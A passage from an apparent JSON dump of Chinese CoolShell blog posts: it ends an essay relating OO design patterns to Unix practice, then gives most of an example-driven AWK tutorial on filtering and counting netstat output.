<X>就行了**。\n\n\n**Prototype模式**，原型模式，复制一个类的实现。这个模式在现实中的例子也有很多：传真，复印，都是这个模式。**Unix进程和Github项目的Fork就是一种。进程fork明显不是OO的模型**（参看：[关于Fork的一道面试题](https://coolshell.cn/articles/7965.html \"一个fork的面试题\")）。用非OO的方法同样可以实现这个模式。\n\n\n**Singleton模式**，单例模式。生活中，公司只有一个CEO，法律限制你只能有一个老婆，你只能有一个身份证号，一个TCP端口只能被一个进程使用，等等。软件开发方面，并不一定只有OO才能做到，你可以用一个全局变量，一个中心服务器，甚至可以使用行政手段来约束开发中不会出现多个实例。**Unix下实现单例进程的一个最常用的实践是在进程启动的时候用“(S\\_IRUSR | S\\_IWUSR | S\\_IRGRP | S\\_IROTH)”模式打开一个“锁文件”**。\n\n\n**Adapter模式**，适配器模式。可以兼容欧洲美国中国的插头或插座，万能读卡器，可以播放各种格式多媒体文件的插放器，可以解析FTP/HTTP/HTTPS/等网络协议的浏览器，可以兼容各大银行的银联接口、支付宝、Paypal、VISA等银行接口，可以适配各种后端的解释器的Nginx或Apache，等等。用非OO的编程方式就是重新包装成一个标准接口。**这个模式很像Unix下的/dev下的那些文件，操作系统把系统设备适配成文件，于是你就可以使用read/write来进行读写了**。\n\n\n**Bridge模式**，桥接模式。这个模式用的更多，比如一个灯具可以接各种灯泡或灯管，一个电钻可以换上不同的钻头来适应不同的材料，一辆汽车可以随时更换不同的轮胎来适应不同的路面，你的桌面可以随时更换一个图片来适应你的心情，你的单反相机可以更换不同的镜头来拍不同的照片…… 桥接模式说白了就是组件化，模块化，可以自由拼装。在OO中，其主要是通过让业务类组合一个标准接口来完成，这在非OO的程序设计中用得实在是太多了，主要是通过回调函数或是标准接口来实现。这个也是Unix设计哲学中的主要思想。**在Unix中，文件的权限使用的就是Bridge模式，标准接口是用户，用户组和其它，rwx三个模式，然后用 chmod/chown改一改，这文件就有不同的属主和属性了**。\n\n\n**Decorator模式**，装饰模式。这个模式在生活中太多了，你给你的手机或电脑贴个什么，挂个什么，吃东西的时候加点什么佐料，多点肉还是多个蛋，一个Unix/Linux命令的各种参数是对这个命令的修饰，等等。**我觉得这个模式在Unix中最经常的体现就是通过管道把命令连接起来来完成一个功能**，比如：ps -elf  是列进程的，用管道 grep hchen就可以达到过滤的目的，grep的逻辑没有侵入ps中，grep 修饰了 ps，但是其组合起来完成了一个特定的功能。可见，这和OO没有什么关系。\n\n\n**Facade模式，**这个模式我们每个人从会编程的时候就在无意识地用这个模式了。这个模式就是把一大堆类拼装起来，并统一往外提供提口。在现实生活中这样的例子太多了，比如：旅行社把机票，酒店，景点，导游，司机，进店打了一个包叫旅行；IBM把主机，存储，OS，J2EE，DB，网络，流程打了个包叫企业级解决方案。Unix中最典型的一个例子就是用Shell脚本组合各种命令来创造一个新的功能，这是的Shell中的各种命令通过标准I/O这个接口进行组合交互。\n\n\n**Proxy模式**，代理模式。我们租个房，买个机票，打个官司，都少不了代理，人大代表代理了老百姓去行使政治权力。我们去饭馆里吃饭也是一种代理模式，因为我们只管吃就好了，洗菜做饭洗碗的工作都被Proxy帮你干了，于是你就省事多了。操作系统就是硬件的代理，CDN就是网站的代理，……使用代理你可以让事情变理更简单，也可以在代理层加入一些权限检查，这样可以让业务模块更关注业务，而把一些非业务的事情剥离出来交给代理以完成解耦。可见这个模式和OO没啥关系。**Unix下这个模式最佳体现就是Shell，它代理了系统调用并提供UI**。还有很多命令会帮你把/proc目录下的那些文件内容整理和显示出来。\n\n\n**Chain of Responsibility模式**，劫匪来抢银行，保安搞不定，就交给110，110搞不定就交给武警。有什么事件发生时的响应的Escalation Path，办公中的逐级审批。这个模式用一个函数指针数组或是栈结构就可以实现了。这个思想很像编程中的异常处理机制，一层一层地往上传递异常直到异常被捕捉。**在Unix下，一个最简单的例子就是用 && 或 || 来把命令拼起来，如：cmd1 && cmd2  或 cmd3 || cmd4 ， 如果cmd1失败了，cmd2就不会执行，如果cmd3失败了，cmd4才会执行。**如： cd lib && rm -rf .o 或 ping -c1 coolshell.cn && ssh haoel@coolshell.cn\n\n\n**Command模式**，这恐怕是软件里最多的模式了，比如：编译器里的Undo/Redo，宏录制。还有数据库的事务处理，线程池，设置向导，包括程序并行执行的指令集等等。这个模式主要是把一个对象的行为封装成一个一个的有相同接口的command，然后交给一个统一的命令执行器执行或管理这些命令。**这个模式和我们的Unix/Linux机器启动时在/etc/init.d下的那些S和K开头的脚本很像，把各种daemon的启动和退出行为封装成一个脚本其支持reload/start/stop/status这样的命令，然后把他们按一定的规范做符号链接到/etc/init.d目录下，这样操作系统就会接管这些daemon的启动和退出**。\n\n\n**Observer模式**，观察者模式，这个模式也叫pub-sub模式，很像我们用手机订阅手机报，微博的follow的信息流也是这样的一个模式。MVC中的C会sub V中的事件，用非OO的方式其实也是一个回调函数的事。在很多异步系统中，你需要知道最终的调用有没有成功，比如说调用支付宝的支付接口，你需要向支付宝注册一个回调的接口，以便支付宝回调你。**Linux下的一些系统调用如epoll/aio/inotify/signal都是这种思路**。\n\n\n**Strategy 模式**，策略模式，这个模式和Bridge模式很像，只不过Bridge是结构模式，其主要是用于对象的构造；而Strategy是行为模式，主要是用于对象的行为。策略模式很像浏览器里的各种插件，只要你装了某个插件，你就有某个功能。你可以安装多个插件来让你的浏览器有更多的功能（书本上的这个模式是你只能选用一个算法，当然，我们不用那么教条）。**就像《[你可能不知道的Shell](https://coolshell.cn/articles/8619.html \"你可能不知道的Shell\")》中的那个设置设置$EDITOR变量后可以按ctrl+x e启动编译器，或是用set -o vi或set -o emacs 来让自己的shell像vi或 emacs 一样，或是像find -exec或xargs一样的拼装命令**。\n\n\n**Bridge 和 Strategy是OO设计模式里的“Favor Composition Over Inheritance” 的典范，其实现了接口与实现分离的**。Unix中的Shell就是一种，你可随意地更换不同的Shell。还有Emacs中的LISP驱动C，C实现了引擎，交给LISP实现逻辑。把程序分为前端和后端，通过socket专用应用协议进行通讯，前端实现策略，后端实现机制。再看看makefile把编译器和源代码的解耦，命令行输出这个接口可以把一个复杂的功能解耦并抽像成各种各样小而美的小功能命令，等等这样的例子，你会发现，还有大量的编程框架都会多少采用这样的思想，可以让你的软件像更换汽车零件一样方便。我在用[Unix的设计思想来应对变更的需求](https://coolshell.cn/articles/7236.html \"用Unix的设计思想来应对多变的需求\")中说过灯具厂，灯泡厂，和开关厂的例子。\n\n\n#### 后记\n\n\n因为写作仓促，上面的那些东西，可能会你让你觉得有些牵强，那么抱歉了，你可以帮我看看在生活中和 Unix里有没有更帅的例子。\n\n\n不过，我们会发现上面OO搞出来的那么多模式在Unix下看来好像没有那么复杂，而且Unix下看起来并没有那么多模式，而且Unix中的设计模式无非就是这么几个关键词：**单一，简洁，模块，拼装**。我们再来看看OO设计的两大准则：**1）钟情于组合而不是继承，2）依赖于接口而不是实现**。还有S.O.L.I.D原则也一样（如果你仔细观察，你会发现SOLID原则在Unix下也是完美地体现）。你看，Unix和OO设计模式是不是完美的统一吗？\n\n\n我有种强烈的感觉——**Unix对这些所谓的OO的设计模式实现得更好**。因为Unix就一条设计模式！再次推荐《*[The Art of Unix Programming](http://book.douban.com/subject/5387401/)*》\n\n\n![Unix Kiss](../wp-content/uploads/2013/01/kiss.png)\n\n\n#### 餐后甜点\n\n\n我上面提到了《*[The Art of Unix Programming](http://book.douban.com/subject/5387401/)*》，所以我有必要再谈谈这本书中我中毒最深的一章《模块性：保持清晰和简洁》中所谈到的胶合层。\n\n\n胶合层这一节中说了，我们开发软件一般要么Top-Down，要么Bottom-Up，这两种方法都有好有不好。顶层一般是应用逻辑层，底层一般是原语层（我理解为技术沉淀层，或是技术基础层）。自顶向下的开发，你可能会因为开发到底层后发现底层可沉淀的东西越来越不爽（因为被可能被很多业务逻辑所侵入），如果自底向上的开发，你可能越到上层你越发现很多你下面干的基础上工作有很多用不上（比如干多了）。所以，最好的方式是同时进行，一会顶层，一会底层，来来回回的开发——说白了就是在开发中不断的重构，边开发边理解边沉淀。\n\n\n无论怎么样，你会发现需要一层胶合层来胶合业务逻辑层和底层原语层（软件开发中的业务层和技术层的胶合），Unix的设计哲学认为，这层胶合层应该尽量地薄，胶合层越多，我们就只能在其中苦苦挣扎。\n\n\n其实，**胶合层原则就是分离原则上更为上层地体现，策略（业务逻辑）和机制（基础技术或原语）的清楚的分离。你可以看到，OO和Unix都是在做这样的分离。但是需要注意到的时，OO用抽象接口来做这个分离——很多OO的模式中，抽象层太多了，导致胶合层太过于复杂了，也就是说，OO鼓励了——“厚重地胶合和复杂层次”，反而增加了程序的复杂度（这种情况在恶化中）。而Unix采用的是薄的胶合层，薄地相当的优雅**。（通过这段话的描述，我相信你会明白了《[如此理解面向对象编程](https://coolshell.cn/articles/8745.html \"如此理解面向对象编程\")》中的个例子——为什么用OO来实现会比用非OO来实现更为地恶心——那就是因为OO胶合层太复杂了）\n\n\n**OO的最大的问题就——接口复杂度太高，胶合层太多！**（注：Unix编程艺术这本书里说了软件有三个复杂度：代码量、接口、实现，这三个东西构成了我们的软件复杂度）\n\n\n#### 再送一个果盘\n\n\n大家一定记得《[SteveY对Amazon和Google平台的长篇大论](https://coolshell.cn/articles/5701.html \"SteveY对Amazon和Google平台的长篇大论 - 60,581 人阅读\")》中Amazon中那个令人非常向往的SOA式的架构。因为以前在Amazon，有些话不好说。现在可以说了，我在Amazon里，我个人对这个服务化的架构相当的不待见，太复杂，复杂以乱七八糟，方向是好的，想法也是好的，但是这东西和OO一样，造成大量的接口复杂度，今天的Amazon，完全没人知道各个服务是怎么个调用的，一团乱麻（其内部并不像你看到的AWS那么的美妙。注：AWS是非常不错的，是相当好的设计）。\n\n\n**那么我们怎么来解决SOA的接口复杂度问题？其实，Unix早就给出了答案——数据驱动编程**（详见：《Unix编程艺术》的第9.1章），在我离开Amazon的时候，美国总部的Principle SDE们在吐槽今天Amazon的SOA架构，更好的架构应该是数据驱动式的。（今天还在Amazon的同学可以上内网boardcast上看看相关的Principle Talk视频）\n\n\n（瞎扯一句：这本来是我想在2012年杭州QCon上的分享的一个主题，无奈当时被大会组织者给拒了，所以只好讲了一个《建一支小团队》，今天有多人还是不能明白甚至反感我的那个《小团队》的演讲，但是我相信那是必然的趋势，就像十年前大家在说“程序员只能干到30岁”时，当时的我我却毫不犹豫地相信十年后，30岁以上的有经验的老程序员一定会成为各个公司角逐和竟争的红人）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [![用Unix的设计思想来应对多变的需求](../wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg)](https://coolshell.cn/articles/7236.html)[用Unix的设计思想来应对多变的需求](https://coolshell.cn/articles/7236.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/4535.html)[一些软件设计的原则](https://coolshell.cn/articles/4535.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/6950.html)[需求变化与IoC](https://coolshell.cn/articles/6950.html)\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\nThe post [从面向对象的设计模式看软件设计](https://coolshell.cn/articles/8961.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-2-17 AWK 简明教程.md",
    "content": "---\nlayout: post\ntitle: AWK 简明教程\ndate: 2013/2/17/ 0:38:29\nupdated: 2013/2/17/ 0:38:29\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2013/02/awk.jpg)有一些网友看了前两天的《[Linux下应该知道的技巧](https://coolshell.cn/articles/8883.html \"应该知道的Linux技巧\")》希望我能教教他们用awk和sed，所以，出现了这篇文章。我估计这些80后的年轻朋友可能对awk/sed这类上古神器有点陌生了，所以需要我这个老家伙来炒炒冷饭。**况且，AWK是贝尔实验室1977年搞出来的文本出现神器，今年是蛇年，是AWK的本命年，而且年纪和我相仿，所以非常有必要为他写篇文章**。\n\n\n之所以叫AWK是因为其取了三位创始人 [Alfred Aho](http://en.wikipedia.org/wiki/Alfred_Aho \"Alfred Aho\")，[Peter Weinberger](http://en.wikipedia.org/wiki/Peter_J._Weinberger \"Peter J. Weinberger\"), 和 [Brian Kernighan](http://en.wikipedia.org/wiki/Brian_Kernighan \"Brian Kernighan\") 的Family Name的首字符。要学AWK，就得提一提AWK的一本相当经典的书《[The AWK Programming Language](http://plan9.bell-labs.com/cm/cs/awkbook/)》，它在[豆瓣上的评分](http://book.douban.com/subject/1876898/)是9.4分！在[亚马逊上居然卖1022.30元](http://www.amazon.cn/mn/detailApp/?asin=020107981X)。\n\n\n我在这里的教程并不想面面俱到，本文和我之前的[Go语言简介](https://coolshell.cn/articles/8460.html \"Go 语言简介（上）— 语法\")一样，全是示例，基本无废话。\n\n\n**我只想达到两个目的：**\n\n\n**1）你可以在乘坐公交地铁上下班，或是在坐马桶拉大便时读完（保证是一泡大便的工夫）。**\n\n\n**2）我只想让这篇博文像一个火辣的脱衣舞女挑起你的兴趣，然后还要你自己去下工夫去撸。**\n\n\n废话少说，我们开始脱吧（注：这里只是topless）。\n\n\n#### 起步上台\n\n\n我从netstat命令中提取了如下信息作为用例：\n\n\n\n\n```\n$ cat netstat.txt\nProto Recv-Q Send-Q Local-Address          Foreign-Address             State\ntcp        0      0 0.0.0.0:3306           0.0.0.0:*                   LISTEN\ntcp        0      0 0.0.0.0:80             0.0.0.0:*                   LISTEN\ntcp        0      0 127.0.0.1:9000         0.0.0.0:*                   LISTEN\ntcp        0      0 coolshell.cn:80        124.205.5.146:18245         TIME_WAIT\ntcp        0      0 coolshell.cn:80        61.140.101.185:37538        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        110.194.134.189:1032        ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49809       ESTABLISHED\ntcp        0      0 coolshell.cn:80        116.234.127.77:11502        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        123.169.124.111:49829       ESTABLISHED\ntcp        0      0 coolshell.cn:80        183.60.215.36:36970         TIME_WAIT\ntcp        0   4166 coolshell.cn:80        61.148.242.38:30901         ESTABLISHED\ntcp        0      1 coolshell.cn:80        124.152.181.209:26825       FIN_WAIT1\ntcp        0      0 coolshell.cn:80        110.194.134.189:4796        ESTABLISHED\ntcp        0      0 coolshell.cn:80        183.60.212.163:51082        TIME_WAIT\ntcp        0      1 coolshell.cn:80        208.115.113.92:50601        LAST_ACK\ntcp        0      0 coolshell.cn:80        123.169.124.111:49840       ESTABLISHED\ntcp        0      0 coolshell.cn:80        117.136.20.85:50025         FIN_WAIT2\ntcp        0      0 :::22                  :::*                        LISTEN\n\n```\n\n下面是最简单最常用的awk示例，其输出第1列和第4例，\n\n\n* 其中单引号中的被大括号括着的就是awk的语句，注意，其只能被单引号包含。\n* 其中的$1..$n表示第几例。注：$0表示整个行。\n\n\n\n```\n$ awk '{print $1, $4}' netstat.txt\nProto Local-Address\ntcp 0.0.0.0:3306\ntcp 0.0.0.0:80\ntcp 127.0.0.1:9000\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp :::22\n```\n\n我们再来看看awk的格式化输出，和C语言的printf没什么两样：\n\n\n\n```\n$ awk '{printf \"%-8s %-8s %-8s %-18s %-22s %-15s\\n\",$1,$2,$3,$4,$5,$6}' netstat.txt\nProto    Recv-Q   Send-Q   Local-Address      Foreign-Address        State\ntcp      0        0        0.0.0.0:3306       0.0.0.0:*              LISTEN\ntcp      0        0        0.0.0.0:80         0.0.0.0:*              LISTEN\ntcp      0        0        127.0.0.1:9000     0.0.0.0:*              LISTEN\ntcp      0        0        coolshell.cn:80    124.205.5.146:18245    TIME_WAIT\ntcp      0        0        coolshell.cn:80    61.140.101.185:37538   FIN_WAIT2\ntcp      0        0        coolshell.cn:80    110.194.134.189:1032   ESTABLISHED\ntcp      0        0        coolshell.cn:80    123.169.124.111:49809  ESTABLISHED\ntcp      0        0        coolshell.cn:80    116.234.127.77:11502   FIN_WAIT2\ntcp      0        0        coolshell.cn:80    123.169.124.111:49829  ESTABLISHED\ntcp      0        0        coolshell.cn:80    183.60.215.36:36970    TIME_WAIT\ntcp      0        4166     coolshell.cn:80    61.148.242.38:30901    ESTABLISHED\ntcp      0        1        coolshell.cn:80    124.152.181.209:26825  FIN_WAIT1\ntcp      0        0        coolshell.cn:80    110.194.134.189:4796   ESTABLISHED\ntcp      0        0        coolshell.cn:80    183.60.212.163:51082   TIME_WAIT\ntcp      0        1        coolshell.cn:80    208.115.113.92:50601   LAST_ACK\ntcp      0        0        coolshell.cn:80    123.169.124.111:49840  ESTABLISHED\ntcp      0        0        coolshell.cn:80    117.136.20.85:50025    FIN_WAIT2\ntcp      0        0        :::22              :::*                   LISTEN\n```\n\n#### 脱掉外套\n\n\n##### 过滤记录\n\n\n我们再来看看如何过滤记录（下面过滤条件为：第三列的值为0 && 第6列的值为LISTEN）\n\n\n\n```\n$ awk '$3==0 && $6==\"LISTEN\" ' netstat.txt\ntcp        0      0 0.0.0.0:3306               0.0.0.0:*              LISTEN\ntcp        0      0 0.0.0.0:80                 0.0.0.0:*              LISTEN\ntcp        0      0 127.0.0.1:9000             0.0.0.0:*              LISTEN\ntcp        0      0 :::22                      :::*                   LISTEN\n```\n\n其中的“==”为比较运算符。其他比较运算符：!=, >, <, >=, <=\n\n\n我们来看看各种过滤记录的方式：\n\n\n\n```\n$ awk ' $3>0 {print $0}' netstat.txt\nProto Recv-Q Send-Q Local-Address          Foreign-Address             State\ntcp        0   4166 coolshell.cn:80        61.148.242.38:30901         ESTABLISHED\ntcp        0      1 coolshell.cn:80        124.152.181.209:26825       FIN_WAIT1\ntcp        0      1 coolshell.cn:80        208.115.113.92:50601        LAST_ACK\n```\n\n如果我们需要表头的话，我们可以引入内建变量NR：\n\n\n\n```\n$ awk '$3==0 && $6==\"LISTEN\" || NR==1 ' netstat.txt\nProto Recv-Q Send-Q Local-Address          Foreign-Address             State\ntcp        0      0 0.0.0.0:3306           0.0.0.0:*                   LISTEN\ntcp        0      0 0.0.0.0:80             0.0.0.0:*                   LISTEN\ntcp        0      0 127.0.0.1:9000         0.0.0.0:*                   LISTEN\ntcp        0      0 :::22                  :::*                        LISTEN\n```\n\n再加上格式化输出：\n\n\n\n```\n$ awk '$3==0 && $6==\"LISTEN\" || NR==1 {printf \"%-20s %-20s %s\\n\",$4,$5,$6}' netstat.txt\nLocal-Address        Foreign-Address      State\n0.0.0.0:3306         0.0.0.0:*            LISTEN\n0.0.0.0:80           0.0.0.0:*            LISTEN\n127.0.0.1:9000       0.0.0.0:*            LISTEN\n:::22                :::*                 LISTEN\n```\n\n##### **内建变量**\n\n\n说到了内建变量，我们可以来看看awk的一些内建变量：\n\n\n\n\n|  |  |\n| --- | --- |\n| $0 | 当前记录（这个变量中存放着整个行的内容） |\n| $1~$n | 当前记录的第n个字段，字段间由FS分隔 |\n| FS | 输入字段分隔符 默认是空格或Tab |\n| NF | 当前记录中的字段个数，就是有多少列 |\n| NR | 已经读出的记录数，就是行号，从1开始，如果有多个文件话，这个值也是不断累加中。 |\n| FNR | 当前记录数，与NR不同的是，这个值会是各个文件自己的行号 |\n| RS | 输入的记录分隔符， 默认为换行符 |\n| OFS | 输出字段分隔符， 默认也是空格 |\n| ORS | 输出的记录分隔符，默认为换行符 |\n| FILENAME | 当前输入文件的名字 |\n\n\n怎么使用呢，比如：我们如果要输出行号：\n\n\n\n```\n$ awk '$3==0 && $6==\"ESTABLISHED\" || NR==1 {printf \"%02s %s %-20s %-20s %s\\n\",NR, FNR, $4,$5,$6}' netstat.txt\n01 1 Local-Address        Foreign-Address      State\n07 7 coolshell.cn:80      110.194.134.189:1032 ESTABLISHED\n08 8 coolshell.cn:80      123.169.124.111:49809 ESTABLISHED\n10 10 coolshell.cn:80      123.169.124.111:49829 ESTABLISHED\n14 14 coolshell.cn:80      110.194.134.189:4796 ESTABLISHED\n17 17 coolshell.cn:80      123.169.124.111:49840 ESTABLISHED\n```\n\n##### **指定分隔符**\n\n\n\n```\n$  awk  'BEGIN{FS=\":\"} {print $1,$3,$6}' /etc/passwd\nroot 0 /root\nbin 1 /bin\ndaemon 2 /sbin\nadm 3 /var/adm\nlp 4 /var/spool/lpd\nsync 5 /sbin\nshutdown 6 /sbin\nhalt 7 /sbin\n```\n\n上面的命令也等价于：（-F的意思就是指定分隔符）\n\n\n`$ awk -F: '{print $1,$3,$6}' /etc/passwd`\n\n\n注：如果你要指定多个分隔符，你可以这样来：\n\n\n`awk -F '[;:]'`\n\n\n再来看一个以\\t作为分隔符输出的例子（下面使用了/etc/passwd文件，这个文件是以:分隔的）：\n\n\n\n```\n$ awk  -F: '{print $1,$3,$6}' OFS=\"\\t\" /etc/passwd\nroot    0       /root\nbin     1       /bin\ndaemon  2       /sbin\nadm     3       /var/adm\nlp      4       /var/spool/lpd\nsync    5       /sbin\n```\n\n#### 脱掉衬衫\n\n\n##### 字符串匹配\n\n\n我们再来看几个字符串匹配的示例：\n\n\n\n```\n$ awk '$6 ~ /FIN/ || NR==1 {print NR,$4,$5,$6}' OFS=\"\\t\" netstat.txt\n1       Local-Address   Foreign-Address State\n6       coolshell.cn:80 61.140.101.185:37538    FIN_WAIT2\n9       coolshell.cn:80 116.234.127.77:11502    FIN_WAIT2\n13      coolshell.cn:80 124.152.181.209:26825   FIN_WAIT1\n18      coolshell.cn:80 117.136.20.85:50025     FIN_WAIT2\n\n$ $ awk '$6 ~ /WAIT/ || NR==1 {print NR,$4,$5,$6}' OFS=\"\\t\" netstat.txt\n1       Local-Address   Foreign-Address State\n5       coolshell.cn:80 124.205.5.146:18245     TIME_WAIT\n6       coolshell.cn:80 61.140.101.185:37538    FIN_WAIT2\n9       coolshell.cn:80 116.234.127.77:11502    FIN_WAIT2\n11      coolshell.cn:80 183.60.215.36:36970     TIME_WAIT\n13      coolshell.cn:80 124.152.181.209:26825   FIN_WAIT1\n15      coolshell.cn:80 183.60.212.163:51082    TIME_WAIT\n18      coolshell.cn:80 117.136.20.85:50025     FIN_WAIT2\n```\n\n上面的第一个示例匹配FIN状态， 第二个示例匹配WAIT字样的状态。其实 ~ 表示模式开始。/ /中是模式。这就是一个正则表达式的匹配。\n\n\n其实awk可以像grep一样的去匹配第一行，就像这样：\n\n\n\n```\n$ awk '/LISTEN/' netstat.txt\ntcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN\ntcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN\ntcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN\ntcp        0      0 :::22                   :::*                    LISTEN\n```\n\n我们可以使用 “/FIN|TIME/” 来匹配 FIN 或者 TIME :\n\n\n\n```\n$ awk '$6 ~ /FIN|TIME/ || NR==1 {print NR,$4,$5,$6}' OFS=\"\\t\" netstat.txt\n1       Local-Address   Foreign-Address State\n5       coolshell.cn:80 124.205.5.146:18245     TIME_WAIT\n6       coolshell.cn:80 61.140.101.185:37538    FIN_WAIT2\n9       coolshell.cn:80 116.234.127.77:11502    FIN_WAIT2\n11      coolshell.cn:80 183.60.215.36:36970     TIME_WAIT\n13      coolshell.cn:80 124.152.181.209:26825   FIN_WAIT1\n15      coolshell.cn:80 183.60.212.163:51082    TIME_WAIT\n18      coolshell.cn:80 117.136.20.85:50025     FIN_WAIT2\n```\n\n再来看看模式取反的例子：\n\n\n\n```\n$ awk '$6 !~ /WAIT/ || NR==1 {print NR,$4,$5,$6}' OFS=\"\\t\" netstat.txt\n1       Local-Address   Foreign-Address State\n2       0.0.0.0:3306    0.0.0.0:*       LISTEN\n3       0.0.0.0:80      0.0.0.0:*       LISTEN\n4       127.0.0.1:9000  0.0.0.0:*       LISTEN\n7       coolshell.cn:80 110.194.134.189:1032    ESTABLISHED\n8       coolshell.cn:80 123.169.124.111:49809   ESTABLISHED\n10      coolshell.cn:80 123.169.124.111:49829   ESTABLISHED\n12      coolshell.cn:80 61.148.242.38:30901     ESTABLISHED\n14      coolshell.cn:80 110.194.134.189:4796    ESTABLISHED\n16      coolshell.cn:80 208.115.113.92:50601    LAST_ACK\n17      coolshell.cn:80 123.169.124.111:49840   ESTABLISHED\n19      :::22   :::*    LISTEN\n```\n\n或是：\n\n\n`awk '!/WAIT/' netstat.txt`\n\n\n**折分文件**\n\n\nawk拆分文件很简单，使用重定向就好了。下面这个例子，是按第6例分隔文件，相当的简单（其中的NR!=1表示不处理表头）。\n\n\n\n```\n$ awk 'NR!=1{print > $6}' netstat.txt\n\n$ ls\nESTABLISHED  FIN_WAIT1  FIN_WAIT2  LAST_ACK  LISTEN  netstat.txt  TIME_WAIT\n\n$ cat ESTABLISHED\ntcp        0      0 coolshell.cn:80        110.194.134.189:1032        ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49809       ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49829       ESTABLISHED\ntcp        0   4166 coolshell.cn:80        61.148.242.38:30901         ESTABLISHED\ntcp        0      0 coolshell.cn:80        110.194.134.189:4796        ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49840       ESTABLISHED\n\n$ cat FIN_WAIT1\ntcp        0      1 coolshell.cn:80        124.152.181.209:26825       FIN_WAIT1\n\n$ cat FIN_WAIT2\ntcp        0      0 coolshell.cn:80        61.140.101.185:37538        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        116.234.127.77:11502        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        117.136.20.85:50025         FIN_WAIT2\n\n$ cat LAST_ACK\ntcp        0      1 coolshell.cn:80        208.115.113.92:50601        LAST_ACK\n\n$ cat LISTEN\ntcp        0      0 0.0.0.0:3306           0.0.0.0:*                   LISTEN\ntcp        0      0 0.0.0.0:80             0.0.0.0:*                   LISTEN\ntcp        0      0 127.0.0.1:9000         0.0.0.0:*                   LISTEN\ntcp        0      0 :::22                  :::*                        LISTEN\n\n$ cat TIME_WAIT\ntcp        0      0 coolshell.cn:80        124.205.5.146:18245         TIME_WAIT\ntcp        0      0 coolshell.cn:80        183.60.215.36:36970         TIME_WAIT\ntcp        0      0 coolshell.cn:80        183.60.212.163:51082        TIME_WAIT\n```\n\n你也可以把指定的列输出到文件：\n\n\n`awk 'NR!=1{print $4,$5 > $6}' netstat.txt`\n\n\n再复杂一点：（注意其中的if-else-if语句，可见awk其实是个脚本解释器）\n\n\n\n```\n$ awk 'NR!=1{if($6 ~ /TIME|ESTABLISHED/) print > \"1.txt\";\nelse if($6 ~ /LISTEN/) print > \"2.txt\";\nelse print > \"3.txt\" }' netstat.txt\n\n$ ls ?.txt\n1.txt  2.txt  3.txt\n\n$ cat 1.txt\ntcp        0      0 coolshell.cn:80        124.205.5.146:18245         TIME_WAIT\ntcp        0      0 coolshell.cn:80        110.194.134.189:1032        ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49809       ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49829       ESTABLISHED\ntcp        0      0 coolshell.cn:80        183.60.215.36:36970         TIME_WAIT\ntcp        0   4166 coolshell.cn:80        61.148.242.38:30901         ESTABLISHED\ntcp        0      0 coolshell.cn:80        110.194.134.189:4796        ESTABLISHED\ntcp        0      0 coolshell.cn:80        183.60.212.163:51082        TIME_WAIT\ntcp        0      0 coolshell.cn:80        123.169.124.111:49840       ESTABLISHED\n\n$ cat 2.txt\ntcp        0      0 0.0.0.0:3306           0.0.0.0:*                   LISTEN\ntcp        0      0 0.0.0.0:80             0.0.0.0:*                   LISTEN\ntcp        0      0 127.0.0.1:9000         0.0.0.0:*                   LISTEN\ntcp        0      0 :::22                  :::*                        LISTEN\n\n$ cat 3.txt\ntcp        0      0 coolshell.cn:80        61.140.101.185:37538        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        116.234.127.77:11502        FIN_WAIT2\ntcp        0      1 coolshell.cn:80        124.152.181.209:26825       FIN_WAIT1\ntcp        0      1 coolshell.cn:80        208.115.113.92:50601        LAST_ACK\ntcp        0      0 coolshell.cn:80        117.136.20.85:50025         FIN_WAIT2\n```\n\n##### 统计\n\n\n下面的命令计算所有的C文件，CPP文件和H文件的文件大小总和。\n\n\n\n```\n$ ls -l  *.cpp *.c *.h | awk '{sum+=$5} END {print sum}'\n2511401\n```\n\n我们再来看一个统计各个connection状态的用法：（我们可以看到一些编程的影子了，大家都是程序员我就不解释了。注意其中的数组的用法）\n\n\n\n```\n$ awk 'NR!=1{a[$6]++;} END {for (i in a) print i \", \" a[i];}' netstat.txt\nTIME_WAIT, 3\nFIN_WAIT1, 1\nESTABLISHED, 6\nFIN_WAIT2, 3\nLAST_ACK, 1\nLISTEN, 